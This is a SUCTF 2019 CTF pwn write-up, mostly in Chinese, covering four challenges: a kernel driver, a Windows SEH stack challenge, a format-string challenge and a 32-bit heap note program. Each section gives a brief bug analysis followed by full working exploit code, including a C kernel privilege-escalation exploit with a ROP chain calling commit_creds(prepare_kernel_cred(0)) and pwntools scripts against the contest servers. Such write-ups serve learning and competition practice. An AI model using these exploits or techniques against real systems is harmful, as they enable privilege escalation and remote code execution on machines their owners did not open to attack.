SUCTF 2019 PWN

Venom
My Solve in this GAME:

0x01 sudrv

qemu:

1
2
3
4
5
6
7
8
9
10
11
#! /bin/sh

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep

开启了kalsr和smep保护
init:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mknod -m 622 console c 5 1
mknod -m 622 tty0 c 4 0
insmod sudrv.ko
mknod /dev/meizijiutql c 233 0
chmod 666 /dev/meizijiutql
mdev -s
sysctl kernel.dmesg_restrict=0
# echo "7 7 7 7" > /proc/sys/kernel/printk
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# /bin/sh

内核会加载驱动sudrv.ko,且printk会输出至控制台
很显然驱动里有两处漏洞:
格式化字符串:

1
2
3
4
.text.unlikely:00000000000000B8 sudrv_ioctl_cold_2 proc near            ; CODE XREF: sudrv_ioctl+62↑j
.text.unlikely:00000000000000B8 call printk ; PIC mode
.text.unlikely:00000000000000BD
.text.unlikely:00000000000000BD loc_BD:

堆溢出

1
2
3
4
5
6
7
.text:0000000000000000 sudrv_write     proc near
.text:0000000000000000 mov rdi, cs:su_buf
.text:0000000000000007 call copy_user_generic_unrolled ; PIC mode
.text:000000000000000C test eax, eax
.text:000000000000000E jz sudrv_write_cold_1
.text:0000000000000014 mov rax, 0FFFFFFFFFFFFFFFFh
.text:000000000000001B retn</pre>

起初我想的是堆喷分配大量cred到buf附近完成提权
但是cred分配时候使用的是cred_jar,与kmalloc分配的地址不同
没有办法直接覆盖
而后想了第二个思路:kmalloc(0x100)分配地址里很容易在&heap+0x80处存在一个cred固定偏移的地址,可以先利用printk leak这个地址,而后类似利用fastbin attack,利用堆溢出将下一个堆的fd指向预测的cred地址完成提权,不过由于比较随机,只在本地成功过几次
而后就是第三个思路,比较稳定:相邻内核操作之间栈地址偏移固定,可以先用格式化字符串漏洞leak一个栈地址,并leak出内核加载基址,而后利用堆溢出覆盖FD分配堆到write的返回地址,在write的时候构造rop链覆盖自己的返回地址来调用commit_creds(prepare_kernel_cred(0))完成提权,而后返回用户态get shell,起初一直ireq回用户态总是会在返回时运行一步即会crash,而后选择sysret成功返回用户态,不过直接返回到system运行几步会crash(和ireq时不同,这里可以正常运行一段),选择使用signal(SIGSEGV, shellcode),并在sysret时候设置rcx为0来使rip=0造成段错误来最后get shell(ireq回用户态出现crash时用signal也可以最后成功)。

My EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
//第三种思路
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#define KERNCALL __attribute__((regparm(3)))

void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;
long int magic1;
long int magic2;
void shellcode(){
system("/bin/sh");
}

void new(int fd,int size){
ioctl(fd,0x73311337,size);
}
void out(int fd){
ioctl(fd,0xdeadbeef);
}
void delete(int fd){
ioctl(fd,0x13377331);
}
void getroot(){
commit_creds= magic2+0xffffffff81081790-0xffffffff811c827f;
prepare_kernel_cred =magic2+0xffffffff81081410-0xffffffff811c827f;
size_t cred = prepare_kernel_cred(0);
commit_creds(cred);
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

int main(){
save_status();
signal(SIGSEGV, shellcode);
long int buf[0x2000];
memset(buf,0,sizeof(buf));
int fd=open("/dev/meizijiutql",1);
new(fd,0x100);
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",100);
out(fd);
out(fd);
//0xffffc9000018bed8
//0xffffc9000018be50
//please input stack_addr && kernel_addr leaked
scanf("%lx %lx",&magic1,&magic2);
buf[30]=0x800000;
buf[31]=0xffffffffffffffff;
buf[32]=magic1-0x88;
new(fd,0x100);
write(fd,buf,0x120);
new(fd,0x100);
new(fd,0x100);
buf[0]=magic2+0xffffffff81001388-0xffffffff811c827f;//commit_creds(prepare_kernel_cred(0))
buf[1]=0;
buf[2]=magic2+0xffffffff81081790-0xffffffff811c827f;
buf[3]=magic2+0xffffffff819e2959-0xffffffff811c827f;
buf[4]=magic2+0xffffffff81081410-0xffffffff811c827f;
buf[5]=buf[0];
buf[6]=0x6f0;
buf[7]=magic2+0xffffffff8104e5b1-0xffffffff811c827f;//close smep(useless)
buf[8]=magic2+0xffffffff810674ff-0xffffffff811c827f;//set rcx=0
buf[9]=0;
buf[10]=magic2+0xffffffff81a000e1-0xffffffff811c827f;//pop...pop...swapgs;sysret
buf[11]=0;
buf[12]=1;
buf[13]=user_sp;
buf[14]=0x401c60;
buf[15]=user_sp;
buf[16]=0x400418;
buf[17]=user_eflags;
buf[18]=shellcode;
buf[19]=0x6d7f98;
buf[20]=shellcode;
buf[21]=shellcode;
buf[22]=0x100;
buf[23]=0x73311337;
buf[24]=1;
buf[25]=user_sp;
buf[26]=7;
buf[27]=shellcode;
buf[28]=user_cs;
buf[29]=user_eflags;
buf[30]=user_sp;
buf[31]=user_ss;
write(fd,buf,280);
}
//gcc ./exp.c -o exp --static

PWN

0x02 BabyStack

首先注意到主程序会decode hex,而后:

1
2
3
4
5
6
7
 .text:00BA854C                 call    loc_BA8552
.text:00BA854C ;
.text:00BA8552 loc_BA8552: ; CODE XREF: sub_BA83E0:loc_BA854C↑j
.text:00BA8552 pop eax
.text:00BA8553 mov esi, [ebp+var_2C]
.text:00BA8556 sub esi, eax
.text:00BA8558 div esi

当造成除零错误即会根据 CPPEH_RECORD结构体转去执行:

1
2
3
4
5
6
7
8
.rdata:00C1ACE0 stru_C1ACE0     dd 0FFFFFFE4h           ; GSCookieOffset
.rdata:00C1ACE0 ; DATA XREF: sub_BA83E0+5↑o
.rdata:00C1ACE0 dd 0 ; GSCookieXOROffset ; SEH scope table for function 4083E0
.rdata:00C1ACE0 dd 0FFFFFFC0h ; EHCookieOffset
.rdata:00C1ACE0 dd 0 ; EHCookieXOROffset
.rdata:00C1ACE0 dd 0FFFFFFFEh ; ScopeRecord.EnclosingLevel
.rdata:00C1ACE0 dd offset loc_BA8583 ; ScopeRecord.FilterFunc
.rdata:00C1ACE0 dd offset loc_BA8589 ; ScopeRecord.HandlerFunc

中的函数
而后就有了几次任意地址读且栈溢的机会,因此直接在任意地址读时读取伪造CPPEH_RECORD需要的其他信息(cookie等),而后伪造CPPEH_RECORD中ScopeTable^_security_cookie指向我们在栈中伪造的结构体(同时注意在栈中绕过_security_cookie检查),而后即可在任意地址读时读一个非法地址造成错误转而指向
我们伪造结构体中的函数,注意到有一处:

1
2
3
.text:00DE8266                 push    offset aTypeFlagTxt ; "type flag.txt"
.text:00DE826B call system
.text:00DE8270 add esp, 4

指向此即可最后get flag
PS:我的调试方法:在windows端socat一个cmd,而后linux端连接,输入./BabyStack.exe,而后pwntools交互,在windows端attach即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import time
context.log_level="debug"
p=remote("121.40.159.66",6666)
#p.sendlineafter("1234>","BabyStack.exe")
p.recvuntil("stack address = ")
stack_addr=int(p.recvuntil("\n").strip(),16)
p.recvuntil("= ")
main_addr=int(p.recvuntil("\n").strip(),16)
print hex(stack_addr),hex(main_addr)
code1=hex(main_addr+0x1018551-0x101395E)[2:].upper().rjust(8,"0")
p.sendlineafter("\r\n",code1)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(main_addr+0x108C004-0x101395E))
p.recvuntil("is ")
cookie=int(p.recvuntil("\n"),16)
print hex(cookie)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8))
p.recvuntil("is ")
magic1=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+4))
p.recvuntil("is ")
magic2=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+8))
p.recvuntil("is ")
magic3=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x12FFCC8-0x12FFD04))
p.recvuntil("is ")
magic4=int(p.recvuntil("\r\n"),16)
addr=stack_addr+0x98FDE0-0x98FEA8
payload="aaaa"+p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(main_addr+0x1018266-0x101395E)*2+p32(magic4)*29+p32(magic1)+p32(magic2)+p32(magic3)+p32(main_addr+0x1019A30-0x101395E)+p32(cookie^addr)+p32(0)
#time.sleep(20)
p.sendlineafter("\r\n","kirin")
#time.sleep(20)
p.sendline(payload)
p.sendlineafter("more?\r\n","yes")
p.sendlineafter("?\r\n","kirin")
p.interactive()

0x03 playfmt

格式化字符串漏洞且读取的flag在堆上
格式化字符串在全局变量
直接修改一个栈内指向另一个栈内指针的指针即可将一个指针指向堆指针处
而后再修改低字节指向&flag,%s即得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.log_level="debug"
#p=process("./playfmt")
p=remote("120.78.192.35",9999)
p.recvuntil("=\n")
p.sendlineafter("=\n","%6$lx")
s="0x"+p.recvuntil("\n")
stack_addr=int(s.strip(),16)
print hex(stack_addr)
stack2=stack_addr+0xFFFFCF28-0xffffcef8-0x20
p.sendline("%"+str(stack2&0xff)+"c%6$hhn")
p.sendline("%16c%14$hhn")
p.sendline("%18$s")
p.interactive()

0x04 二手破电脑

程序在添加note时scanf存在off by null
利用off by null构造unlink,造成堆重叠,然后即可leak堆和libc地址
因为32位各种hook的周围合法地址只有”0xff”(32位程序高地址0xFF)
所以选择unsored bin attack覆盖global_max_fast即可成功将fastbin分配到realloc hook周围
而后fastbin attack修改realloc hook为system,在edit过程即可执行system(“/bin/sh”)来get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

context.log_level="debug"
def add(l,note,prize):
p.sendlineafter(">>> ","1")
p.sendlineafter(": ",str(l))
p.sendafter(": ",note)
p.sendlineafter(": ",str(prize))
def comment(index,note,score):
p.sendlineafter(">>> ","2")
p.sendlineafter(": ",str(index))
p.sendafter(": ",note)
p.sendlineafter(": ",str(score))
def delete(index):
p.sendlineafter(">>> ","3")
p.sendlineafter(": ",str(index))
p.recvuntil("Comment ")
s=p.recvuntil("1.")
return s
def edit(index,note,power=0,serial=""):
p.sendlineafter(">>> ","4")
p.sendlineafter(": ",str(index))
p.send(note)
if power:
p.sendlineafter(")","y")
p.sendafter("serial: ",serial)
else:
p.sendlineafter(")","n")
#p=process("./pwn")
p=remote("47.111.59.243",10001)
add(0x14,"a"*0x13+"\n",0)
comment(0,"bbbb",12)
add(0x14,"cccc\n",1)
delete(0)
comment(1,"b",12)
libc_addr=u32(delete(1)[0:4])+0xf7dfa000-0xf7fac762+0x2000
print hex(libc_addr)
#gdb.attach(p)
add(0x14,"aaaaaa\n",0)
add(0xfc,"ddddddd\n",1)
add(0x14,"eeee\n",2)
delete(0)
add(0x14,"a"*0x14,0)
delete(0)
for i in range(5):
add(0x14,"a"*(0x14-i-1)+"\n",0)
delete(0)
add(0x14,"a"*16+"\xa8"+"\n",0)
delete(1)
add(0x24,"aaaaaa\n",0)
comment(2,"2"*84,0)
s=delete(2)
heap_addr=u32(s[84:84+4])
print hex(heap_addr)
add(0x14,"a\n",0)
comment(1,"1"*72+p32(0)+p32(0x19)+p32(heap_addr++0x2c8)+p32(heap_addr)+p32(0)*2+p32(0)+p32(0x91),0)
comment(2,p32(0)*24+p32(0)+p32(0x19)+"a"*16+p32(0)+p32(0x19),1)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0x14,"a\n",0)
delete(0)
delete(2)
comment(3,p32(0)*9+p32(0x91)+p32(libc_addr-0xf7e1f000+0xf7fcf7b0)+p32(libc_addr+0x1b18e0-0x8),0)
comment(4,"4444",0)
add(0x14,"a\n",0)
add(0x14,p32(heap_addr+0x2e0)+p32(heap_addr+0x1d8)+"\n",0)
delete(5)
delete(4)
delete(6)
#gdb.attach(p)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,"/bin/sh\n",1)
add(0xec,"a"*17+p32(libc_addr+0x3a940)+"\n",1)
print hex(libc_addr)
#gdb.attach(p)
p.interactive()